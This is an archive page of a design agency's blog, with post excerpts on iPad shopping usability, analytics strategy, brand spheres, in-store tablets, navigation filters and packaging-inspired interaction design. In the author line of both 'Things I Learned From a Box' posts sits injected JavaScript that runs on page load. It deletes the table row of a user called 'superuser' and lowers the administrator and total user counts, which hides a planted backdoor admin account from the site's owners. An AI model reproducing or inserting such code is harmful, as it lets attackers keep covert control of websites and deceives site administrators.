Category Archive: 'Information Design' Category

Will Your Site Withstand the Onslaught of Holiday Shoppers on iPads?

by Kim Williams-Czopek
Wednesday, October 10th, 2012

Will Your Site Withstand the Onslaught of Holiday Shoppers on iPads?

It’s likely over the past 12 months you’ve seen an increase in traffic to your site from iPads. If you’re lucky, you’ve also seen a corresponding increase in revenue driven from iPads. With the holidays right around the corner (you’ve started holiday planning, right?) and no shortage of growth in the iPad user arena, it’s critical your site be ready to deliver on customer expectations when they shop (and purchase) from their iPads this holiday season.

We know that customer behavior and purchase tendencies are different on tablets than from standard browsers and also from smartphones and those behaviors are starting to drive a serious divergence in customer expectations as they traverse your site across their various devices. As far as tablets go, customers expect a richer, more immersive, and, well FUN experience relative to their standard browsing and smartphone usage and that demands a different design approach to meet customer expectations. Simply delivering the standard browser experience to your iPad visitors will not differentiate your brand in the emerging ‘tablet-first’ design space. Customer expect more and if you can capitalize on that expectation, it’s likely you’ll also capture your visitors’ dollars.

Surprisingly, the majority of Internet Retailer Top 500 sites not only haven’t starting delivering tablet-specific experiences to deliver on customer expectations, but a wide swath of them deliver sites to the iPad that have serious usability issues. Issues that aren’t problems for the standard browser, but can present serious barriers and frustrations to visitors on iPads.

Assuming there’s no time at this point for a tablet-specific design for your brand’s site, I’ve created a list of common usability issues seen when standard experiences are delivered to iPads, as well as some hints on how to avoid them. Take a look and see any of these issues plague your site, and fix them pre-holiday. Then, start planning for next year!
(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Your Data: The Best Resource You’re Not Using to Run Your Web Site

by Kim Williams-Czopek
Friday, September 7th, 2012

An article was recently published claiming “Marketers Find Less than Half of Analytics Useful for Decision-Making!”   In full disclosure, I added the exclamation mark to the headline because I felt like the tone of the article implied a minor hysteria over the implication that ‘less than half’ was a staggering figure.  In fact the article caught my eye because that seemed to be a higher percentage than I’ve witnessed. Not because companies don’t understand the potential power of analytics but because “analytics” often simply becomes “data collection” which in and of itself, is not useful to anyone really.

Let me back up.  I’m a big believer in Avinash Kaushik’s “So What?” analytics philosophy that says if you can’t answer what action or recommendation could result by tracking a certain metric after asking ‘So what?” three times, you shouldn’t bother tracking it. It’s a great philosophy and in theory any organization subscribing to this philosophy should be running a lean, mean analytics discipline.  In practice however, most companies don’t ask “So What?” or even “Why?”.   Instead they are swimming in a sea of data with the end result being analysis paralysis.

Sometimes this is self-inflicted (tag everything and review hourly!) but in most cases they’ve companies implement an analytics package and now that data is being collected, they just don’t know what to look at or care about. So they end up doing nothing.  As a colleague once put it “Your web analytics tool is the best tool you’ve already paid for but aren’t using.”

Here at Fluid we’ve recently overhauled our Analytics practice within our Strategy group to make sure even our approach to data is user-centric.  Why?  Simple.  We want to help our clients:

  • Achieve a deeper understanding of customer behavior and motivations
  • Answer the “why” behind the “what”
  • Make quantitatively as well as qualitatively informed design decisions
  • Work within a clear framework for measuring success and proving ROI
  • Get past analysis paralysis and turn mountains of data and isolated metrics into insights and actions

As digital design and user experience experts, we have the talent, knowledge and expertise to help our clients get beyond the “what” of their data and get to the “why” and “So What?”   Sounds great, right?

If what you’ve read so far is resonating, you know that it’s not always as easy as it sounds.

When we start working with clients on an analytics strategy we focus on a few key things.  If you are at a place in your organization where you’re ready to re-evaluate your analytics strategy, focusing on the following could help you get started.

1. Forget about current data, infrastructure, platform, etc.  What are the primary goals of your digital initiative whether it be web, mobile, social?

When answering this question don’t think about metrics.  Think about answering as a narrative. For example, “We want customers to learn more about our company.”  or “We want more people reading our blog.”  or “We want to increase revenue coming from our website.”

2. What are your current benchmarks?

It’s okay if you don’t know.  This may be a rhetorical question that turns into a ‘to-do’ once #1 is answered. In some cases we find out the benchmarks are completely arbitrary – in other words, not benchmarks at all but pipe dreams.  We don’t want to be set up for failure so establishing real benchmarks from which to set goals in imperative.  In other cases we find the benchmarks have nothing to do with the articulated goals and they need to align in order to really measure success.

3.  Who cares about this information?

We try and be realistic when we answer this question by framing it as not only “who cares” but “who can authorize the action?”   It is difficult and frustrating to put together a fantastic analytics strategy and have wonderful, actionable insights, only to realize the people who need to authorize budget for changes as outcomes of the data findings were never part of the fantastic analytics discussions.  Answering this question can help you make sure the right stakeholders are involved in the analytics strategy.  It also helps you, as the analytics “guy” or “gal” keep focused on the the bigger organizational goals and objectives.  It’s all too easy to get so excited or so deep into the data you become one of those “tag it all!” people so by leading up a focused practice, it will be easy for you to build a solid business case for change with the decision makers when you’re able to tie clear KPI trends to articulated business goals and objectives AND those decision makers helped formulate the KPIs.

Once you establish the groundwork by answering the questions above you can get more specific; feature ROI, custom reports and dashboards, real time data analysis, multi-channel funnel reports, conversion optimization, interval reporting and automation, etc.  All that good stuff that really helps you get a deeper understanding of your customers and their behaviors and issues with the experience and start formulating a story around your customer’s journey.

Just make sure you are always answering “So What?” when you enter into discussions around tagging X,Y or Z to track A,B or C.

Footnote:
If you are a Google Analytics user, check out Avinash’s blog.  There are always interesting discussions about web analytics and some good Q&A.  Justin Cutroni’s blog is another good resource for you.  He’s currently an “Analytics Advocate” at Google.  His stuff tends to be a lot more tactical and has great report templates you can add to your GA dashboards.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Take It Outside: How Brand Spheres Inspire Better Site Design

by Bridget Fahrland
Thursday, October 13th, 2011

When people step outside their immediate comfort zone, amazing things can happen.

We witness it when football players take ballet. We see it when a furniture designer looks to nature for inspiration. We hear it when Tony Bennett teams up with Lady Gaga.

Unfortunately, we don’t witness this in the digital world enough. Instead of being open to a range of influences, site design processes often have a narrow focus that can result in  “me too” looks rather than differentiated designs.

How does this happen?

As part of the discovery process, companies typically limit their review of the digital landscape to direct competitors and “top sites.”  This practice is important for benchmarking and informing feature prioritization. But done alone, a competitive review can be limiting and inadvertently create a “keeping up with the joneses” effect rather than setting the stage for a differentiated experience.

How can you avoid this pitfall and create a more differentiated experience?

By expanding your circle of influence. By supplementing competitive reviews with brand spheres.

What Is A Brand Sphere?

A brand sphere is a map of your customers’  “go to” brands across verticals. It identifies the brands they choose as they go about their day and the brands you can find in their home.

What is in their refrigerator? Which labels do they wear? What car do they drive? What kind of phone do they have? Where do they eat out? Which gym do they belong to? Which hair and body care brands do they prefer?

A brand sphere draws a more complete picture of your customer. It illuminates their preferences and expectations. And it provides new fodder for inspiration.

For example, if you are designing a consumer electronics shopping site, why limit your influences to only other electronics sites or even ecommerce sites in general? Why not look at music and video sites where your consumers most likely spend more time? Why not look at the CPG sites that fall in their brand sphere? What can you learn from the news sites they visit? The social networks they use?

By looking across verticals, you will expose yourself to different design approaches and feature sets. The purpose is not to imitate these approaches but to take a step back and see if there are any distinct designs or features that spark an idea.

Undoubtedly new perspectives will fuel new ideas. Ideas that are as elegant and powerful as a football player who can both rush and plié.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Retail 2.0 – Not Just Brick and Mortar Anymore

by Conway Liao
Thursday, June 16th, 2011

Once a week, the XD team at Fluid New York explores offline experiences outside the confines of our studio. We think it’s important to take a step back from the digital world and approach design holistically,  experiencing physical manifestations of brands in person. This week, we walked through New York’s SoHo shopping district to see how branded offline experiences relate back to digital spaces and vice versa.

The borders between physical and digital are further being blurred as traditional brick and mortar retailers are laying stake in the digital space. Mobile computing is nearly ubiquitous and instant access to information is almost at everyone’s fingertips. In addition, the attention span of people have become shorter and this poses a challenge to brands. Brand consistency is key to communicating to your target audience and in today’s fast paced retail environment, there’s no room for error. A marketing message that runs astray can have a huge impact on business.

During our outing, we’ve noticed many retailers doing great things with new technologies and some not so great. There has been a recent trend with stores using tablet computers to allow their consumers to browse through their product catalogue within store. It’s a static and passive experience that most of the time, does not engage the customer. Some of the problems with this technology are:

  • The technology does not tell you where to find items in store.
  • Proper QA testing of the app wasn’t performed. The app crashed many times while browsing.
  • It may not be inline with your brand aesthetic. If your brand has a gritty, industrial feel to it, placing modern, shiny tablets throughout the store takes away from the overall brand experience.
  • While the “cool” factor may be there the fact of the matter is that it can alienate the consumer, especially in tablet form.
  • You cannot replace good old customer service with shiny tablet device. There is no substitution for face to face human interaction.
  • Instead of focusing on the products in the store, your consumers are fixated with trying to figure out how to navigate through a mobile experience.

To conclude, always keep the end user in mind when designing an experience and remember that he/she comes first and the technology follows. With new technologies being released daily, it’s easy to lose sight of who you’re designing for. As Experience Designers it is our responsibility to make the transition from physical to digital as seamless as possible for users and the focus should be getting to know the end user and their technological needs and wants and then finding the technology that suits them. The tablet computer will not be the the answer to elevate your brand and increase conversion and raise customer satisfaction. There is one trait that successful brands all have in common:  Their solid dedication to Customer Service. When designing, think of ways to design user experiences that enhance customer service and engagement.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Welcome Amy Lanigan – Director of Client Strategy

by Andy Lloyd
Thursday, September 3rd, 2009

We are pleased to announce an exciting addition to the Fluid team. Amy Lanigan has recently joined Fluid as Director of Client Strategy after previously serving as Assistant Director of Strategy at AKQA. While at AKQA Amy worked with high profile clients such as Target, Gap and Charles Schwab.

We’ve brought Amy on because gone are the days where retailers can rigidly control virtually every aspect of their online presence and shopping experience. Blogs and customer reviews mean consumers have a voice in the conversation. Content is increasingly portable and flexible. Conversion funnels begin before consumers get to your site and social networks allow consumers unprecedented influence over what friends and strangers are buying online and in stores. This complex landscape requires shopping and brand experiences that are thoughtful, flexible and strategic.

It is Amy’s job to help our clients plot a path through this evolving landscape, particularly in social media, and to make sure everything Fluid deploys is on target from both a quantitative business and brand perspective.

Welcome, Amy.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Parametric Navigation, or How I Learned to Stop Worrying and Love Lotsa Options

by David Hogue
Wednesday, May 27th, 2009

Parametric Navigation…it’s really just a fancy industry phrase for a filtered search, or parameters you can select to filter down results sets. So if I go to widgets.com and search for a widget, the site would present me with options to narrow my widget selection by price or rating or size or color, etc. The overall idea is that I can pick the individual attributes that appeal to me, and come up with a customized list of widgets that meet my specific needs. It’s my preferred search method, so I figured I’d tell you what I think works, and what falls flat.

I started with the list of Internet Retailers 2009 Hot 100 Retail Web Sites. I don’t quite understand how they came up with this list, given that some of these sites look like they haven’t been redesigned since the ’90s, but it seemed like a good baseline to use for my research.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Miadidas.com Site Review

by Sam Sales
Friday, May 15th, 2009

My initial goal was to research and write a blog on sneakers, the sneaker culture, and what drives a ‘sneakerhead’ to seek the most limited/hard to get/wait-in-line-for-2 days type sneakers. But as I set out on my task to contribute to the Fluid blog, I stumbled onto the site miadidas.com. I say ‘stumbled’ because I have not heard or seen much about this site. I knew about NikeID, YourReebok(formerly known as RBKCustom), and the newly updated Vans Custom site among others, but was surprised and somewhat disappointed about just discovering the custom site for Adidas shoes. I’ve seen the in-store experience at the Adidas store in San Francisco, but was not aware it was migrated to the web – or at least a version of it.

With that said, I decided to focus my attention to the site and give my personal review. (more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Rapid interactive prototyping with HTML, CSS, and JavaScript using Fireworks and Dreamweaver CS4

by Mariano Ferrario
Tuesday, April 7th, 2009

A key aspect of Fluid’s user-centric design approach is to engage in usability research early on in the design process. One key element of our approach is to administer usability tests using interactive low-fidelity prototypes. Throughout the years, Fluid has developed a unique technique of developing richly interactive prototypes by adding HTML, CSS and JavaScript within Adobe Fireworks to create click through prototypes that are easy to use, manage and update.

Recently, Adobe asked Fluid to share our approach of rapid prototyping with the Adobe Fireworks and Adobe Dreamweaver developer’s community and we were both honored and excited to do so.

Our in depth article, “Rapid interactive prototyping with HTML, CSS, and JavaScript using Fireworks and Dreamweaver CS4″, can be found on Adobe’s website here:

http://www.adobe.com/devnet/fireworks/articles/rapid_interactive_prototyping.html

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 2)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, March 18th, 2009

Yesterday, we discussed the key elements of packaging design, including messaging, presentation, structure, and brand artifacts. Using our “Oil of Olay” package as a case study, we highlighted the consequences of the “barrier to entry” that is created when packaging fails. Today, we’ll discuss how the design guidelines for packaging design apply to the practice of interaction design using another case study.

First and foremost, think about your web site as your “packaging,” and design accordingly—do not create a barrier to entry that separates customers from their end goal and hinders conversion.

When we reconsider the previously discussed factors of packaging design in this context, they align nicely with some familiar elements and ideas of good usability. We’ll review our packaging design principles in a new context below. As a case study, we’ll use the Rich and Skinny brand jeans site (http://www.richandskinnyjeans.com/RichAndSkinny/).
randskinny (more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 1)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Tuesday, March 17th, 2009

The other day, my mom sent me to the store to purchase a new skincare product made by Oil of Olay. I set out on my errand and procured a small tube of mysterious serum, sleekly packaged in distinctive, sculptural, plastic packaging. When I returned home with the goods, however, we made an amusing and shocking discovery:

We couldn’t get the package open.

Mom tried. I tried. No dice. Pliers were used. Even larger pliers were used. Finally, with a mighty tug, I yanked off the package’s lid—and in the process firmly socked myself in the eye.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter